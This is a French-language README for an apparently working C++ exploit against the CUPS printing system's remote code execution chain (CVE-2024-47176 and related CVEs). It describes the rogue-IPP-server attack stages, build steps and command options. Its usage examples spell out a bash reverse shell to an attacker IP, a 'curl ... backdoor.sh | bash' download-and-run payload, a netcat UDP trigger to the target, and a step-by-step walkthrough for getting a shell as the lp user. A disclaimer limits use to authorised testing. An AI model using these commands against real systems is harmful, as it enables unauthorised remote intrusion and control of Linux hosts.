
Exploit C++ pour exécution de code à distance non authentifiée sur CUPS via la chaîne CVE-2024-47176.
Un exploit proof-of-concept entièrement fonctionnel ciblant la chaîne de vulnérabilités d'exécution de code à distance du CUPS (Common Unix Printing System) découverte en septembre 2024. Cette chaîne se compose de quatre CVE — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 et CVE-2024-47177 — qui ensemble permettent à un attaquant distant non authentifié d'exécuter des commandes arbitraires sur tout système Linux exécutant une version vulnérable de CUPS.
L'exploit déploie un serveur IPP (Internet Printing Protocol) rogue qui imite une imprimante réseau. L'attaque se déroule en quatre étapes :
Étape 1 — Déclenchement de la découverte Un paquet UDP fabriqué est envoyé sur le port 631 de la cible. Le démon cups-browsed fait confiance à ce paquet sans authentification et initie une connexion TCP vers le serveur IPP de l'attaquant pour récupérer les attributs de l'imprimante.
Étape 2 — Livraison d'un PPD malveillant Le serveur IPP de l'attaquant répond avec des attributs d'imprimante contenant des données non nettoyées. Ces données transitent par libcupsfilters et libppd qui ne parviennent pas à valider ou nettoyer l'entrée, permettant à une directive malveillante FoomaticRIPCommandLine d'être intégrée dans un fichier PPD.
Étape 3 — Injection de commande Lorsqu'un travail d'impression est envoyé à l'imprimante contrôlée par l'attaquant (automatiquement ou par une action utilisateur), le filtre foomatic-rip traite le fichier PPD et exécute la commande injectée avec les privilèges de l'utilisateur lp.
Étape 4 — Exécution de la charge utile La commande injectée s'exécute sur le système cible. Les charges utiles courantes incluent des shells inversés, l'installation de backdoors, l'exfiltration de données ou la préparation d'escalade de privilèges.
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
La plupart des distributions Linux étaient livrées avec des versions affectées jusqu'aux correctifs de fin 2024.
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Aucune dépendance externe. Se compile sur toute distribution Linux avec g++.
./cups_rce_exploit -l <ATTACKER_IP> -r <COMMAND> [options]
-l, --listener Adresse IP de l'attaquant pour le serveur IPP rogue-r, --reverse Commande à exécuter sur la cible, ou chemin vers un fichier de script-t, --target IP de la machine cible (envoie le paquet UDP déclencheur automatiquement)-p, --port Port pour le serveur IPP rogue (défaut : 631)-s, --spoof Nom d'usurpation de l'imprimante (défaut : VulnPrinter)-T, --target-port Port UDP cible (défaut : 631)-h, --help Afficher le message d'aideTerminal 1 — démarrer l'écouteur :
nc -lvnp 4444
Terminal 2 — lancer l'exploit :
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh
./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
Terminal 1 — démarrer le serveur :
./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
Terminal 2 — envoyer le déclencheur UDP à la cible :
echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
Étape 1 : Configurez un écouteur netcat sur votre machine attaquante
nc -lvnp 4444
Étape 2 : Compilez l'exploit
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Étape 3 : Lancez l'exploit contre la cible
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
Étape 4 : Si un utilisateur sur la machine cible imprime une page de test ou un document sur l'imprimante rogue, vous recevrez un shell inversé sous l'utilisateur lp.
AVIS JURIDIQUE
Ce logiciel est fourni à des fins éducatives et de recherche uniquement. Il est destiné à aider les professionnels de la sécurité, les testeurs d'intrusion et les administrateurs système à comprendre, détecter et se défendre contre les vulnérabilités décrites.
L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite pour tester est illégale et peut violer le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act et des lois similaires dans d'autres juridictions.
Les cas d'utilisation autorisés incluent les évaluations de sécurité sur les systèmes que vous possédez, les tests d'intrusion avec autorisation écrite, les programmes de bug bounty avec un périmètre explicite, la recherche académique dans des environnements de laboratoire contrôlés et les compétitions CTF.
L'auteur décline toute responsabilité pour toute utilisation abusive ou tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables du respect de toutes les lois applicables et de l'obtention d'une autorisation appropriée avant de tester.
En utilisant ce logiciel, vous acceptez ces conditions.
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org